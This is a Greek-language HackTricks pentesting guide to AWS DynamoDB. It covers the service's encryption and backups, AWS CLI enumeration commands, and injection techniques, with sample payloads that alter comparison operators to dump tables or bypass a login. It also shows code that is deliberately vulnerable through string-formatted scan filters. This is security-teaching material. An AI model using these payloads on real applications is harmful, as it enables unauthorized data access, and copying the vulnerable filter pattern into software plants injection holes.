AWS - DynamoDB Enum

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

DynamoDB

Basic Information

Η Amazon DynamoDB παρουσιάζεται από την AWS ως μια πλήρως διαχειριζόμενη, serverless, βάση δεδομένων NoSQL τύπου key-value, σχεδιασμένη για την υποστήριξη εφαρμογών υψηλής απόδοσης ανεξαρτήτως μεγέθους. Η υπηρεσία εξασφαλίζει ισχυρές δυνατότητες, συμπεριλαμβανομένων των εγγενών μέτρων ασφαλείας, αδιάλειπτων αντιγράφων ασφαλείας, αυτοματοποιημένης αναπαραγωγής σε πολλές περιοχές, ενσωματωμένης προσωρινής μνήμης και βολικών εργαλείων εξαγωγής δεδομένων.

Στο πλαίσιο της DynamoDB, αντί να δημιουργηθεί μια παραδοσιακή βάση δεδομένων, δημιουργούνται πίνακες. Κάθε πίνακας απαιτεί τον καθορισμό ενός partition key ως αναπόσπαστο μέρος του κύριου κλειδιού του πίνακα. Αυτό το partition key, ουσιαστικά μια τιμή hash, παίζει κρίσιμο ρόλο τόσο στην ανάκτηση αντικειμένων όσο και στη διανομή δεδομένων σε διάφορους κόμβους. Αυτή η διανομή είναι καθοριστική για τη διατήρηση τόσο της κλιμάκωσης όσο και της διαθεσιμότητας της βάσης δεδομένων. Επιπλέον, υπάρχει η επιλογή να προστεθεί ένα sort key για περαιτέρω βελτίωση της οργάνωσης των δεδομένων.

Encryption

Από προεπιλογή, η DynamoDB χρησιμοποιεί ένα KMS key που **ανήκει στην Amazon DynamoDB,** όχι καν στο AWS managed key που τουλάχιστον ανήκει στον λογαριασμό σας.

Backups & Export to S3

Είναι δυνατή η προγραμματισμένη δημιουργία αντιγράφων ασφαλείας πίνακα ή η δημιουργία τους κατόπιν αιτήματος. Επιπλέον, είναι επίσης δυνατή η ενεργοποίηση της Ανάκτησης σε συγκεκριμένο χρόνο (PITR) για έναν πίνακα. Η ανάκτηση σε συγκεκριμένο χρόνο παρέχει συνεχόμενα αντίγραφα ασφαλείας των δεδομένων σας στη DynamoDB για 35 ημέρες για να σας βοηθήσει να προστατευθείτε από τυχαίες εγγραφές ή διαγραφές.

Είναι επίσης δυνατή η εξαγωγή των δεδομένων ενός πίνακα σε S3, αλλά ο πίνακας πρέπει να έχει ενεργοποιημένο το PITR.

GUI

Υπάρχει ένα GUI για τοπικές υπηρεσίες Dynamo όπως DynamoDB Local, dynalite, localstack, κ.λπ., που θα μπορούσε να είναι χρήσιμο: https://github.com/aaronshaf/dynamodb-admin

Enumeration

# Tables
aws dynamodb list-tables
aws dynamodb describe-table --table-name <t_name> #Get metadata info
## The primary key and sort key will appear inside the KeySchema field

#Check if point in time recovery is enabled
aws dynamodb describe-continuous-backups \
--table-name tablename

# Backups
aws dynamodb list-backups
aws dynamodb describe-backup --backup-arn <arn>
aws dynamodb describe-continuous-backups --table-name <t_name>

# Global tables
aws dynamodb list-global-tables
aws dynamodb describe-global-table --global-table-name <name>

# Exports
aws dynamodb list-exports
aws dynamodb describe-export --export-arn <arn>

# Misc
aws dynamodb describe-endpoints #Dynamodb endpoints

Μη Αυθεντικοποιημένη Πρόσβαση

AWS - DynamoDB Unauthenticated Access

Privesc

AWS - DynamoDB Privesc

Μετά την Εκμετάλλευση

AWS - DynamoDB Post Exploitation

Επιμονή

AWS - DynamoDB Persistence

Εισαγωγή DynamoDB

SQL Εισαγωγή

Υπάρχουν τρόποι πρόσβασης στα δεδομένα του DynamoDB με SQL σύνταξη, επομένως, είναι επίσης δυνατές οι τυπικές SQL εισαγωγές.

SQL Injection - HackTricks

NoSQL Εισαγωγή

Στο DynamoDB μπορούν να χρησιμοποιηθούν διαφορετικές συνθήκες για την ανάκτηση δεδομένων, όπως σε μια κοινή NoSQL εισαγωγή. Αν είναι δυνατό να αλυσιδωθούν περισσότερες συνθήκες για την ανάκτηση δεδομένων, θα μπορούσατε να αποκτήσετε κρυφά δεδομένα (ή να εξάγετε ολόκληρο τον πίνακα).
Μπορείτε να βρείτε εδώ τις υποστηριζόμενες συνθήκες από το DynamoDB: https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html

Σημειώστε ότι υποστηρίζονται διαφορετικές συνθήκες αν τα δεδομένα προσπελάζονται μέσω query ή μέσω scan.

Note

Στην πραγματικότητα, οι ενέργειες Query χρειάζονται να καθορίσουν τη συνθήκη “EQ” (ίσο) στο κύριο κλειδί για να λειτουργήσουν, καθιστώντας το πολύ λιγότερο επιρρεπές σε NoSQL εισαγωγές (και επίσης περιορίζοντας πολύ τη λειτουργία).

Αν μπορείτε να αλλάξετε τη σύγκριση που εκτελείται ή να προσθέσετε νέες, θα μπορούσατε να ανακτήσετε περισσότερα δεδομένα.

# Comparators to dump the database
"NE": "a123" #Get everything that doesn't equal "a123"
"NOT_CONTAINS": "a123" #What you think
"GT": " " #All strings are greater than a space

NoSQL injection - HackTricks

Raw Json injection

Caution

Αυτή η ευπάθεια βασίζεται στο dynamodb Scan Filter το οποίο είναι πλέον απαρχαιωμένο!

DynamoDB δέχεται Json αντικείμενα για αναζήτηση δεδομένων μέσα στη βάση δεδομένων. Αν διαπιστώσετε ότι μπορείτε να γράψετε στο json αντικείμενο που αποστέλλεται για αναζήτηση, θα μπορούσατε να κάνετε dump της βάσης δεδομένων, όλων των περιεχομένων.

Για παράδειγμα, εισάγοντας σε ένα αίτημα όπως:

'{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}'

ένας επιτιθέμενος θα μπορούσε να εισάγει κάτι σαν:

1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0

διορθώστε την κατάσταση “EQ” αναζητώντας το ID 1000 και στη συνέχεια αναζητώντας όλα τα δεδομένα με μια συμβολοσειρά Id μεγαλύτερη από 0, που είναι όλα.

Ένα άλλο ευάλωτο παράδειγμα χρησιμοποιώντας μια σύνδεση θα μπορούσε να είναι:

scan_filter = """{
"username": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
},
"password": {
"ComparisonOperator": "EQ",
"AttributeValueList": [{"S": "%s"}]
}
}
""" % (user_data['username'], user_data['password'])

dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter))

Αυτό θα ήταν ευάλωτο σε:

username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none
password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none

:property Injection

Ορισμένα SDK επιτρέπουν τη χρήση μιας συμβολοσειράς που υποδεικνύει τη φιλτράρισμα που θα εκτελεστεί όπως:

new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)

Πρέπει να γνωρίζετε ότι η αναζήτηση στο DynamoDB για υποκατάσταση μιας τιμής χαρακτηριστικού σε εκφράσεις φίλτρου κατά την σάρωση των στοιχείων, οι τόκεν θα πρέπει να ξεκινούν με τον χαρακτήρα :. Τέτοιοι τόκεν θα αντικατασταθούν με την πραγματική τιμή χαρακτηριστικού κατά την εκτέλεση.

Επομένως, μια σύνδεση όπως η προηγούμενη μπορεί να παρακαμφθεί με κάτι σαν:

:username = :username or :username
# This will generate the query:
# :username = :username or :username = :username and Password = :password
# which is always true

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks